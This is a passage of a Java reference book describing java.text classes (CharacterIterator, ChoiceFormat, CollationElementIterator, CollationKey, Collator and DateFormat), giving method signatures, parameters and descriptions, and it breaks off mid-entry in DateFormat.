The character at the current position of this CharacterIterator or DONE if the current position is not within the text sequence.

Description

This method returns the character at the current position of this CharacterIterator. The current position is returned by getIndex().

first

public abstract char first()

Returns

The first character in this CharacterIterator.

Description

This method returns the character at the first position in this CharacterIterator. The first position is returned by getBeginIndex(). The current position of the iterator is set to this position.

getBeginIndex

public abstract int getBeginIndex()

Returns

The index of the first character in this CharacterIterator.

Description

This method returns the index of the beginning of the text for this CharacterIterator.

getEndIndex

public abstract int getEndIndex()

Returns

The index after the last character in this CharacterIterator.

Description

This method returns the index of the character following the end of the text for this CharacterIterator.

getIndex

public abstract int getIndex()

Returns

The index of the current character in this CharacterIterator.

Description

This method returns the current position, or index, of this CharacterIterator.

last

public abstract char last()

Returns

The last character in this CharacterIterator.

Description

This method returns the character at the ending position of this CharacterIterator. The last position is the value of getEndIndex()-1. The current position of the iterator is set to this position.

next

public abstract char next()

Returns

The next character in this CharacterIterator or DONE if the current position is already at the end of the text.

Description

This method increments the current position of this CharacterIterator by one and returns the character at the new position. If the current position is already at getEndIndex(), the position is not changed, and DONE is returned.

previous

public abstract char previous()

Returns

The previous character in this CharacterIterator or DONE if the current position is already at the beginning of the text.

Description

This method decrements the current position of this CharacterIterator by one and returns the character at the new position. If the current position is already at getBeginIndex(), the position is not changed, and DONE is returned.

setIndex

public abstract char setIndex(int position)

Parameters

position

The new position.

Returns

The character at the specified position in this CharacterIterator.

Throws

IllegalArgumentException

If the given position is not between getBeginIndex() and getEndIndex()-1.

Description

This method sets the current position, or index, of this CharacterIterator to the given position.

See Also

BreakIterator, StringCharacterIterator

Previous | Home | Next
BreakIterator | Book Index | ChoiceFormat
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] ChoiceFormat

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

ChoiceFormat

Name

ChoiceFormat

Synopsis

Class Name:

java.text.ChoiceFormat

Superclass:

java.text.NumberFormat

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ChoiceFormat class is a concrete subclass of NumberFormat that maps numerical ranges to strings, or formats. ChoiceFormat objects are used most often by MessageFormat objects to handle plurals, verb agreement, and other such issues.

The ranges in a ChoiceFormat are specified as an ascending array of double values, where each number is the bottom end of a range. A value is mapped to a format when it falls within the range for that format. If the value does not fall in any of the ranges, it is mapped to the first or the last format, depending on whether the value is too low or too high. For example, consider the following code:

double[] limits = {1, 10, 100};
String[] labels = {"small", "medium", "large"}
ChoiceFormat cf = new ChoiceFormat(limits, labels);

Any number greater than or equal to one and less than 10 is mapped to the format "small". Any number greater than or equal to 10 and less than 100 is mapped to "medium". Numbers greater than or equal to 100 are mapped to "large". Furthermore, numbers less than one are also mapped to "small".

The nextDouble() and previousDouble() methods can generate double values that are higher or lower than other double values. These methods provide another way to specify the limits used by a ChoiceFormat object.

As shown above, you can create a ChoiceFormat object by specifying the limits and formats in two separate arrays. You can also create a ChoiceFormat object using a pattern string that specifies the limits and formats. The string is of the form:

[limit1]#[format1]|[limit2]#[format2]|...

A < character can be used in place of the # to indicate that the next higher number, as determined by nextDouble(), should be used as the limit. The toPattern() method can be used to generate the pattern string for an existing ChoiceFormat object.

Note that you create ChoiceFormat objects directly, rather than through factory methods. This is because ChoiceFormat does not implement any locale-specific behavior. To produce properly internationalized output, the formats for a ChoiceFormat should come from a ResourceBundle instead of being embedded in the code.

Class Summary

public class java.text.ChoiceFormat extends java.text.NumberFormat {
  // Constructors
  public ChoiceFormat(String newPattern);
  public ChoiceFormat(double[] limits, String[] formats);
  // Class Methods
  public static final double nextDouble(double d);
  public static double nextDouble(double d, boolean positive);
  public static final double previousDouble(double d);
  // Instance Methods
  public void applyPattern(String newPattern);
  public Object clone();
  public boolean equals(Object obj);
  public StringBuffer format(double number,
                      StringBuffer toAppendTo, FieldPosition status);
  public StringBuffer format(long number,
                      StringBuffer toAppendTo, FieldPosition status);
  public Object[] getFormats();
  public double[] getLimits();
  public int hashCode();
  public Number parse(String text, ParsePosition status);
  public void setChoices(double[] limits, String[] formats);
  public String toPattern();
}

Constructors

ChoiceFormat

public ChoiceFormat(String newPattern)

Parameters

newPattern

The pattern string.

Description

This constructor creates a ChoiceFormat that uses the limits and formats represented by the given pattern string.

public ChoiceFormat(double[] limits, String[] formats)

Parameters

limits

An array of limits. Each element is the lower end of a range that runs up through, but not including, the next element.

formats

An array of format strings that correspond to the limit ranges.

Description

This constructor creates a ChoiceFormat that uses the given limits and format strings

Class Methods

nextDouble

public static final double nextDouble(double d)

Parameters

d

A double value.

Returns

The least double that is greater than d.

Description

This method returns the least double greater than d. Calling this method is equivalent to nextDouble(d, true).

public static double nextDouble(double d, boolean positive)

Parameters

d

A double value.

positive

A boolean value that specifies whether to return the next higher or next lower value.

Returns

If positive is true, the least double that is greater than d. If positive is false, the greatest double that is less than d.

Description

This method finds the next higher or next lower double value from d, depending on the value of positive. If positive is true, the method returns the least double greater than d. Otherwise, the method returns the greatest double less than d.

previousDouble

public static final double previousDouble(double d)

Parameters

d

A double value.

Returns

The greatest double that is less than d.

Description

This method returns the greatest double less than d. Calling this method is equivalent to nextDouble(d, false).

Instance Methods

applyPattern

public void applyPattern(String newPattern)

Parameters

newPattern

The pattern string.

Description

This method tells this ChoiceFormat to use the limits and formats represented by the given formatting pattern string. Pattern strings for ChoiceFormat objects are described above in the class description.

clone

public Object clone()

Returns

A copy of this ChoiceFormat.

Overrides

NumberFormat.clone()

Description

This method creates a copy of this ChoiceFormat and returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Format.equals()

Description

This method returns true if obj is an instance of ChoiceFormat and is equivalent to this ChoiceFormat.

format

 public StringBuffer format(double number, StringBuffer toAppendTo, FieldPosition status)

Parameters

number

The double value to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

status

Ignored.

Returns

The given StringBuffer with the String corresponding to the given number appended to it.

Overrides

NumberFormat.format(double, StringBuffer, FieldPosition)

Description

This method formats the given number and appends the result to the given StringBuffer.

 public StringBuffer format(long number, StringBuffer toAppendTo, FieldPosition status)

Parameters

number

The long value to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

status

Ignored.

Returns

The given StringBuffer with the String corresponding to the given number appended to it.

Overrides

NumberFormat.format(long, StringBuffer, FieldPosition)

Description

This method formats the given number and appends the result to the given StringBuffer.

getFormats

public Object[] getFormats()

Returns

An array that contains the format strings.

Description

This method returns an array containing the current set of format strings.

getLimits

public double[] getLimits()

Returns

An array that contains the limit values.

Description

This method returns an array that contains the current set of limits.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

NumberFormat.hashCode()

Description

This method returns a hashcode for this ChoiceFormat.

parse

public Number parse(String text, ParsePosition status)

Parameters

text

The string to be parsed.

status

A ParsePosition object that can specify a position in the string.

Returns

A Number object that encapsulates the value that corresponds to the longest format string that matches the text that starts at the given position. If there is no matching format string, the value Double.NaN is returned.

Overrides

NumberFormat.parse(String, ParsePosition)

Description

This method parses a number from the given string, starting from the given position. The method returns a Number object that encapsulates the value that corresponds to the longest format string that matches the text starting at the given position. If there is no matching format string, the method returns the value Double.NaN.

If there is a matching format string, the index value of the given ParsePosition object is incremented by the length of that format string.

setChoices

public void setChoices(double[] limits, String[] formats)

Parameters

limits

An array of limits. Each element is the lower end of a range that runs up through, but not including, the next element.

formats

An array of format strings that correspond to the limit ranges.

Description

This method sets the limits and format strings that this ChoiceFormat uses.

toPattern

public String toPattern()

Returns

The pattern string of this ChoiceFormat.

Description

This method returns a string that represents the limits and format strings of this ChoiceFormat. Pattern strings for ChoiceFormat objects are described above in the class description.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | format(double) | NumberFormat
format(long number) | NumberFormat | format(Object, StringBuffer, FieldPosition) | NumberFormat
getClass() | Object | getMaximumFractionDigits() | NumberFormat
getMaximumIntegerDigits() | NumberFormat | getMinimumFractionDigits() | NumberFormat
getMinimumIntegerDigits() | NumberFormat | isGroupingUsed() | NumberFormat
isParseIntegerOnly() | NumberFormat | notify() | Object
notifyAll() | Object | parse(String) | NumberFormat
parseObject(String) | Format | parseObject(String, ParsePosition) | NumberFormat
setGroupingUsed(boolean) | NumberFormat | setMaximumFractionDigits(int) | NumberFormat
setMaximumIntegerDigits(int) | NumberFormat | setMinimumFractionDigits(int) | NumberFormat
setMinimumIntegerDigits(int) | NumberFormat | setParseIntegerOnly(boolean) | NumberFormat
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

FieldPosition, MessageFormat, Number, NumberFormat, ParsePosition, ResourceBundle, String, StringBuffer

Previous | Home | Next
CharacterIterator | Book Index | CollationElementIterator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] CollationElementIterator

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

CollationElementIterator

Name

CollationElementIterator

Synopsis

Class Name:

java.text.CollationElementIterator

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A RuleBasedCollator object creates an instance of the CollationElementIterator class to iterate through the characters of a string and determine their relative collation sequence. A CollationElementIterator object performs callbacks to the RuleBasedCollator that created it to get the information it needs to recognize groups of characters that are treated as single collation characters. For example, a RuleBasedCollator for a Spanish language locale would be set up to treat `ch' as a single letter. A CollationElementIterator object also gets information from its RuleBasedCollator that is used to determine the collation ordering priority for characters.

A collation-ordering priority of a character is a composite integer value that determines how the character is collated. This priority is comprised of:

  • A primary order that distinguishes between different letters. Characters that are considered to be different letters, such as `e' and `f', have different primary orders. Different forms of the same letter, such as `e' and `E', or an accented form of `e', have the same primary order. Primary orders are short values.

  • A secondary order that distinguishes between accented forms of the same letter. An unaccented `e' has a different secondary order than forms of `e' that have different accents. `E' and `e' have the same secondary order, as do upper- and lowercase forms of `e' that have the same accent. Secondary orders are byte values.

  • A tertiary order that distinguishes between case differences. `E' and `e' have different tertiary orders. Tertiary orders are byte values.

The next() method returns the collation-ordering
priority of the next logical character. Primary, secondary, and
tertiary orders are extracted from an ordering priority
with the primaryOrder(),
secondaryOrder(), and
tertiaryOrder() methods.

Class Summary

public final class java.text.CollationElementIterator
                   extends java.lang.Object {
   // Constants
   public static final int NULLORDER;

  // Class Methods
   public static final int primaryOrder(int order);
   public static final short secondaryOrder(int order);
   public static final short tertiaryOrder(int order);

  // Instance Methods
   public int next();
   public void reset();
}

Constants

NULLORDER

public final static int NULLORDER

Description

A constant that is returned by next() if the end of the string has been reached.

Class Methods

primaryOrder

public static final int primaryOrder(int order)

Returns

The primary order component of the given order key.

Description

This method extracts the primary order value from the given order key.

secondaryOrder

public static final short secondaryOrder(int order)

Returns

The secondary order component of the given order key.

Description

This method extracts the secondary order value from the given order key.

tertiaryOrder

public static final short tertiaryOrder(int order)

Returns

The tertiary order component of the given order key.

Description

This method extracts the tertiary order value from the given order key.

Instance Methods

next

public int next()

Returns

The order value of the next character in the string.

Description

This method returns the order key for the next character in the string. The returned value can be broken apart using the primaryOrder(), secondaryOrder(), and tertiaryOrder() methods.

reset

public void reset()

Description

This method resets the position of this CollationElementIterator to the beginning of the string.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Collator, RuleBasedCollator, String

Previous | Home | Next
ChoiceFormat | Book Index | CollationKey
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] CollationKey

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

CollationKey

Name

CollationKey

Synopsis

Class Name:

java.text.CollationKey

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The CollationKey class optimizes the sorting of many strings. The easiest way to compare strings is using Collator.compare(), but this can be inefficient, especially if the same strings are compared many times. Instead, you can create a CollationKey for each of your strings and compare the CollationKey objects to each other using the compareTo() method. A CollationKey is essentially a bit representation of a String object. Two CollationKey objects can be compared bitwise, which allows for a fast comparison.

You cannot create CollationKey objects directly; you must create them through a specific Collator object using Collator.getCollationKey(). You can only compare CollationKey objects that have been generated from the same Collator.

Class Summary

public final class java.text.CollationKey extends java.lang.Object {
  // Instance Methods
  public int compareTo(CollationKey target);
  public boolean equals(Object target);
  public String getSourceString();
  public int hashCode();
  public byte[] toByteArray();
}

Instance Methods

compareTo

public int compareTo(CollationKey target)

Parameters

target

The key to compare with this CollationKey.

Returns

-1 if this CollationKey is less than target, 0 if this CollationKey is equal to target, or 1 if this CollationKey is greater than target.

Description

This method returns an integer that indicates the ordering of this CollationKey and the given CollationKey. Only CollationKey objects generated by the same Collator should be compared.

equals

public boolean equals(Object target)

Parameters

target

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of CollationKey and is equivalent to this CollationKey.

getSourceString

public String getSourceString()

Returns

The string that generated this CollationKey.

Description

This method returns the string that was passed to Collator.getCollationKey() to create this CollationKey.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this CollationKey.

toByteArray

public byte[] toByteArray()

Returns

A byte array that represents this CollationKey.

Description

This method returns a byte array that represents the value of this CollationKey, with the most significant byte first.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Collator, RuleBasedCollator, String

Previous | Home | Next
CollationElementIterator | Book Index | Collator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] Collator

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

Collator

Name

Collator

Synopsis

Class Name:

java.text.Collator

Superclass:

java.lang.Object

Immediate Subclasses:

java.text.RuleBasedCollator

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The Collator class compares strings in a manner that is appropriate for a particular locale. Although Collator is an abstract class, the getInstance() factory methods can be used to get a usable instance of a Collator subclass that implements a particular collation strategy. One subclass, RuleBasedCollator, is provided as part of the JDK.

A Collator object has a strength property that controls the level of difference that is considered significant for comparison purposes. The Collator class provides four strength values: PRIMARY, SECONDARY, TERTIARY, and IDENTICAL. Although the interpretation of these strengths is locale-dependent, they generally have the following meanings:

PRIMARY

The comparison considers letter differences, but ignores case and diacriticals.

SECONDARY

The comparison considers letter differences and diacriticals, but ignores case.

TERTIARY

The comparison considers letter differences, case, and diacriticals.

IDENTICAL

The comparison considers all differences.

The default comparison strength is TERTIARY.

If you only need to compare two String objects once, the compare() method of the Collator class provides the best performance. However, if you need to compare the same String objects multiple times, such as when you are sorting, you should use CollationKey objects instead. A CollationKey object contains a String that has been converted into a series of bits that can be compared in a bitwise fashion against other CollationKey objects. You use a Collator object to create a CollationKey for a given String.

Class Summary

public abstract class java.text.Collator extends java.lang.Object
                      implements java.io.Serializable,
                                 java.lang.Cloneable {
  // Constants
  public static final int CANONICAL_DECOMPOSITION;
  public static final int FULL_DECOMPOSITION;
  public static final int IDENTICAL;
  public static final int NO_DECOMPOSITION;
  public static final int PRIMARY;
  public static final int SECONDARY;
  public static final int TERTIARY;
  // Constructors
  protected Collator();
  // Class Methods
  public static synchronized Locale[] getAvailableLocales();
  public static synchronized Collator getInstance();
  public static synchronized Collator getInstance(Locale desiredLocale);
  // Instance Methods
  public Object clone();
  public abstract int compare(String source, String target);
  public boolean equals(Object that);
  public boolean equals(String source, String target);
  public abstract CollationKey getCollationKey(String source);
  public synchronized int getDecomposition();
  public synchronized int getStrength();
  public abstract synchronized int hashCode();
  public synchronized void setDecomposition(int decompositionMode);
  public synchronized void setStrength(int newStrength);
}

Constants

CANONICAL_DECOMPOSITION

public final static int CANONICAL_DECOMPOSITION

Description

A decomposition constant that specifies that Unicode 2.0 characters which are canonical variants are decomposed for collation. This is the default decomposition setting.

FULL_DECOMPOSITION

public final static int FULL_DECOMPOSITION

Description

A decomposition constant that specifies that Unicode 2.0 canonical variants and compatibility variants are decomposed for collation. This is the most complete decomposition setting, and thus the slowest setting.

IDENTICAL

public final static int IDENTICAL

Description

A strength constant that specifies that all differences are considered significant for comparison purposes.

NO_DECOMPOSITION

public final static int NO_DECOMPOSITION

Description

A decomposition setting that specifies that no Unicode characters are decomposed for collation. This is the least complete decomposition setting, and thus the fastest setting. It only works correctly for languages that do not use diacriticals.

PRIMARY

public final static int PRIMARY

Description

A strength constant that specifies that only primary differences are considered significant for comparison purposes. Primary differences are typically letter differences.

SECONDARY

public final static int SECONDARY

Description

A strength constant that specifies that only secondary differences and above are considered significant for comparison purposes. Secondary differences are typically differences in diacriticals, or accents.

TERTIARY

public final static int TERTIARY

Description

A strength constant that specifies that only tertiary differences and above are considered significant for comparison purposes. Tertiary differences are typically differences in case. This is the default strength setting.

Constructors

Collator

protected Collator()

Description

This constructor creates a Collator with the default strength of TERTIARY and default decomposition mode of CANONICAL_DECOMPOSITION.

Class Methods

getAvailableLocales

public static synchronized Locale[] getAvailableLocales()

Returns

An array of Locale objects.

Description

This method returns an array of the Locale objects for which this class can create Collator objects.

getInstance

public static synchronized Collator getInstance()

Returns

A Collator appropriate for the default Locale.

Description

This method creates a Collator that compares strings in the default Locale.

 public static synchronized Collator getInstance( Locale desiredLocale)

Parameters

desiredLocale

The Locale to use.

Returns

A Collator appropriate for the given Locale.

Description

This method creates a Collator that compares strings in the given Locale.

Instance Methods

clone

public Object clone()

Returns

A copy of this Collator.

Overrides

Object.clone()

Description

This method creates a copy of this Collator and returns it.

compare

public abstract int compare(String source, String target)

Parameters

source

The source string.

target

The target string.

Returns

-1 if source is less than target, 0 if the strings are equal, or 1 if source is greater than target.

Description

This method compares the given strings according to the collation rules for this Collator and returns a value that indicates their relationship. If either of the strings are compared more than once, a CollationKey should be used instead.

equals

public boolean equals(Object that)

Parameters

that

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Collator and is equivalent to this Collator.

public boolean equals(String source, Source target)

Parameters

source

The source string.

target

The target string.

Returns

true if the given strings are equal; false otherwise.

Description

This method compares the given strings for equality using the collation rules for this Collator. Note that this method applies locale-specific rules and is thus not the same as String.equals().

getCollationKey

public abstract CollationKey getCollationKey(String source)

Parameters

source

The string to use when generating the CollationKey.

Returns

A CollationKey for the given string.

Description

This method generates a CollationKey for the given string. The returned object can be compared with other CollationKey objects using CollationKey.compareTo(). This comparison is faster than using Collator.compare(), so if the same string is used for many comparisons, you should use CollationKey objects.

getDecomposition

public synchronized int getDecomposition()

Returns

The decomposition mode for this Collator.

Description

This method returns the current decomposition mode for this Collator. The decomposition mode specifies how composed Unicode characters are handled during collation. You can adjust the decomposition mode to choose between faster and more complete collation. The returned value is one of the following values: NO_DECOMPOSITION, CANONICAL_DECOMPOSITION, or FULL_DECOMPOSITION.

getStrength

public synchronized int getStrength()

Returns

The strength setting for this Collator.

Description

This method returns the current strength setting for this Collator. The strength specifies the minimum level of difference that is considered significant during collation. The returned value is one of the following values: PRIMARY, SECONDARY, TERTIARY, or IDENTICAL.

hashCode

public abstract synchronized int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this Collator.

setDecomposition

public synchronized void setDecomposition(int decompositionMode)

Parameters

decompositionMode

The decomposition mode: NO_DECOMPOSITION, CANONICAL_DECOMPOSITION, or FULL_DECOMPOSITION.

Description

This method sets the decomposition mode for this Collator. The decomposition mode specifies how composed Unicode characters are handled during collation. You can adjust the decomposition mode to choose between faster and more complete collation.

setStrength

public synchronized void setStrength(int newStrength)

Parameters

newStrength

The new strength setting: PRIMARY, SECONDARY, TERTIARY, or IDENTICAL.

Description

This method sets the strength of this Collator. The strength specifies the minimum level of difference that is considered significant during collation.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

CollationKey, Locale, RuleBasedCollator, String

Previous | Home | Next
CollationKey | Book Index | DateFormat
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] DateFormat

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

DateFormat

Name

DateFormat

Synopsis

Class Name:

java.text.DateFormat

Superclass:

java.text.Format

Immediate Subclasses:

java.text.SimpleDateFormat

Interfaces Implemented:

java.lang.Cloneable

Availability:

New as of JDK 1.1

Description

The DateFormat class formats and parses dates and times in a locale-specific manner. DateFormat is an abstract class, but it provides factory methods that return useful instances of DateFormat subclasses. These factory methods come in three groups:

  • The getDateInstance() methods return objects that format and parse only dates.

  • The getDateTimeInstance() methods return objects that format and parse date and time combinations.

  • The getTimeInstance() methods return objects that format only times.

Certain of these factory methods allow you to specify the style, or length, of the resulting date and time strings. The interpretation of the style parameter is locale-specific. For the locale Locale.US, the styles and their results are as follows:

FULL

Tuesday, March 04, 1997 12:00:00 o'clock AM EST

LONG

March 04, 1997 12:00:00 AM EST

MEDIUM

04-Mar-97 12:00:00 AM

SHORT

3/4/97 12:00 AM

There is also a DEFAULT style, which is equivalent to MEDIUM.

The DateFormat class defines a number of field constants that represent the various fields in formatted date and time strings. These field constants can create FieldPosition objects.

Class Summary

public abstract class java.text.DateFormat extends java.text.Format
                      implements java.lang.Cloneable {
  // Constants
  public static final int AM_PM_FIELD;
  public static final int DATE_FIELD;
  public static final int DAY_OF_WEEK_FIELD;
  public static final int DAY_OF_WEEK_IN_MONTH_FIELD;
  public static final int DAY_OF_YEAR_FIELD;
  public static final int DEFAULT;
  public static final int ERA_FIELD;
  public static final int FULL;
  public static final int HOUR0_FIELD;
  public static final int HOUR1_FIELD;
  public static final int HOUR_OF_DAY0_FIELD;
  public static final int HOUR_OF_DAY1_FIELD;
  public static final int LONG;
  public static final int MEDIUM;
  public static final int MILLISECOND_FIELD;
  public static final int MINUTE_FIELD;
  public static final int MONTH_FIELD;
  public static final int SECOND_FIELD;
  public static final int SHORT;
  public static final int TIMEZONE_FIELD;
  public static final int WEEK_OF_MONTH_FIELD;
  public static final int WEEK_OF_YEAR_FIELD;
  public static final int YEAR_FIELD;
  // Variables
  protected Calendar calendar;
  protected NumberFormat numberFormat;
  // Constructors
  protected DateFormat();
  // Class Methods
  public static Locale[] getAvailableLocales();
  public static final DateFormat getDateInstance();
  public static final DateFormat getDateInstance(int style);
  public static final DateFormat getDateInstance(int style, Locale aLocale);
  public static final DateFormat getDateTimeInstance();
  public static final DateFormat getDateTimeInstance(int dateStyle,
                                 int timeStyle);
  public static final DateFormat getDateTimeInstance(int dateStyle,
                                 int timeStyle, Locale aLocale);
  public static final DateFormat getInstance();
  public static final DateFormat getTimeInstance();
  public static final DateFormat getTimeInstance(int style);
  public static final DateFormat getTimeInstance(int style, Locale aLocale);
  // Instance Methods
  public Object clone();
  public boolean equals(Object obj);
  public final String format(Date date);
  public final StringBuffer format(Object obj, StringBuffer toAppendTo,
                            FieldPosition fieldPosition);
  public abstract StringBuffer format(Date date, StringBuffer toAppendTo,
                               FieldPosition fieldPosition);
  public Calendar getCalendar();
  public NumberFormat getNumberFormat();
  public TimeZone getTimeZone();
  public int hashCode();
  public boolean isLenient();
  public Date parse(String text);
  public abstract Date parse(String text, ParsePosition pos);
  public Object parseObject(String source, ParsePosition pos);
  public void setCalendar(Calendar newCalendar);
  public void setLenient(boolean lenient);
  public void setNumberFormat(NumberFormat newNumberFormat);
  public void setTimeZone(TimeZone zone);
}

Constants

AM_PM_FIELD

public final static int AM_PM_FIELD

Description

A field constant that represents the A.M./P.M. field.

DATE_FIELD

public final static int DATE_FIELD

Description

A field constant that represents the date (day of month) field.

DAY_OF_WEEK_FIELD

public final static int DAY_OF_WEEK_FIELD

Description

A field constant that represents the day-of-the-week field.

DAY_OF_WEEK_IN_MONTH_FIELD

public final static int DAY_OF_WEEK_IN_MONTH_FIELD

Description

A field constant that represents the day of the week in the current month field.

DAY_OF_YEAR_FIELD

public final static int DAY_OF_YEAR_FIELD

Description

A field constant that represents the day-of-the-year field.

DEFAULT

public final static int DEFAULT

Description

A constant that specifies the default style.

ERA_FIELD

public final static int ERA_FIELD

Description

A field constant that represents the era field.

FULL

public final static int FULL

Description

A constant that specifies the most complete style.

HOUR0_FIELD

public final static int HOUR0_FIELD

Description

A field constant that represents the zero-based hour field.

HOUR1_FIELD

public final static int HOUR1_FIELD

Description

A field constant that represents the one-based hour field.

HOUR_OF_DAY0_FIELD

public final static int HOUR_OF_DAY0_FIELD

Description

A field constant that represents the zero-based hour of the day field.

HOUR_OF_DAY1_FIELD

public final static int HOUR_OF_DAY1_FIELD

Description

A field constant that represents the one-based hour of the day field.

LONG

public final static int LONG

Description

A constant that specifies the long style.

MEDIUM

public final static int MEDIUM

Description

A constant that specifies the medium style.

MILLISECOND_FIELD

public final static int MILLISECOND_FIELD

Description

A field constant that represents the millisecond field.

MINUTE_FIELD

public final static int MINUTE_FIELD

Description

A field constant that represents the minute field.

MONTH_FIELD

public final static int MONTH_FIELD

Description

A field constant that represents the month field.

SECOND_FIELD

public final static int SECOND_FIELD

Description

A field constant that represents the second field.

SHORT

public final static int SHORT

Description

A constant that specifies the short style.

TIMEZONE_FIELD

public final static int TIMEZONE_FIELD

Description

A field constant that represents the time-zone field.

WEEK_OF_MONTH_FIELD

public final static int WEEK_OF_MONTH_FIELD

Description

A field constant that represents the week-of-the-month field.

WEEK_OF_YEAR_FIELD

public final static int WEEK_OF_YEAR_FIELD

Description

A field constant that represents the week-of-the-year field.

YEAR_FIELD

public final static int YEAR_FIELD

Description

A field constant that represents the year field.

Variables

calendar

protected Calendar calendar

Description

A Calendar object that internally generates the field values for formatting dates and times.

numberFormat

protected NumberFormat numberFormat

Description

A NumberFormat object that internally formats the numbers in dates and times.

Constructors

DateFormat

protected DateFormat()

Description

This constructor creates a DateFormat.

Class Methods

getAvailableLocales

public static Locale[] getAvailableLocales()

Returns

An array of Locale objects.

Description

This method returns an array of the Locale objects for which this class can create DateFormat objects.

getDateInstance

public static final DateFormat getDateInstance()

Returns

A DateFormat appropriate for the default Locale that uses the default style.

Description

This method creates a DateFormat that formats and parses dates in the default locale with the default style.

public static final DateFormat getDateInstance(int style)

Parameters

style

A style constant.

Returns

A DateFormat appropriate for the default Locale that uses the given style.

Description

This method creates a DateFormat that formats and parses dates in the default locale with the given style.

 public static final DateFormat getDateInstance(int style, Locale aLocale)

Parameters

style

A style constant.

aLocale

The Locale to use.

Returns

A DateFormat appropriate for the given Locale that uses the given style.

Description

This method creates a DateFormat that formats and parses dates in the given locale with the given style.

getDateTimeInstance

public static final DateFormat getDateTimeInstance()

Returns

A DateFormat appropriate for the default Locale that uses the default date and time styles.

Description

This method creates a DateFormat that formats and parses dates and times in the default locale with the default date and time styles.

 public static final DateFormat getDateTimeInstance(int dateStyle, int timeStyle)

Parameters

dateStyle

A style constant.

timeStyle

A style constant.

Returns

A DateFormat appropriate for the default Locale that uses the given data and time styles.

Description

This method creates a DateFormat that formats and parses dates and times in the default locale with the given date and time styles.

 public static final DateFormat getDateTimeInstance(int dateStyle, int timeStyle, Locale aLocale)

Parameters

dateStyle

A style constant.

timeStyle

A style constant.

aLocale

The Locale to use.

Returns

A DateFormat appropriate for the given Locale that uses the given date and time styles.

Description

This method creates a DateFormat that formats and parses dates and times in the given locale with the given date and time styles.

getInstance

public static final DateFormat getInstance()

Returns

A DateFormat appropriate for the default Locale.

Description

This method creates a general purpose DateFormat by calling getDateTimeInstance(DateFormat.SHORT, DateFormat.SHORT).

getTimeInstance

public static final DateFormat getTimeInstance()

Returns

A DateFormat appropriate for the default Locale that uses the default style.

Description

This method creates a DateFormat that formats and parses times in the default locale with the default style.

public static final DateFormat getTimeInstance(int style)

Parameters

style

A style constant.

Returns

A DateFormat appropriate for the default Locale that uses the given style.

Description

This method creates a DateFormat that formats and parses times in the default locale with the given style.

 public static final DateFormat getTimeInstance(int style, Locale aLocale)

Parameters

style

A style constant.

aLocale

The Locale to use.

Returns

A DateFormat appropriate for the given Locale that uses the given style.

Description

This method creates a DateFormat that formats and parses times in the given locale with the given style.

Instance Methods

clone

public Object clone()

Returns

A copy of this DateFormat.

Overrides

Format.clone()

Description

This method creates a copy of this DateFormat and returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of DateFormat and is equivalent to this DateFormat.

format

public final String format(Date date)

Parameters

date

The Date object to be formatted.

Returns

A string that contains a formatted representation of the date.

Description

This method formats the given date and returns the result as a string.

 public final StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition fieldPosition)

Parameters

obj

The object to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

fieldPosition

A date or time field.

Returns

The given buffer toAppendTo with the formatted representation of the object appended to it.

Overrides

Format.format(Object, StringBuffer, FieldPosition)

Description

This method formats the given object and appends the result to the given StringBuffer. If fieldPosition refers to one of the time or date fields, its beginning and ending indices are filled with the beginning and ending positions of the given field in the resulting formatted string.

 public abstract StringBuffer format(Date date, StringBuffer toAppendTo, FieldPosition fieldPosition)

Parameters

date

The Date object to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

fieldPosition

A date or time field.

Returns

The given buffer toAppendTo with the formatted representation of the date appended to it.

Description

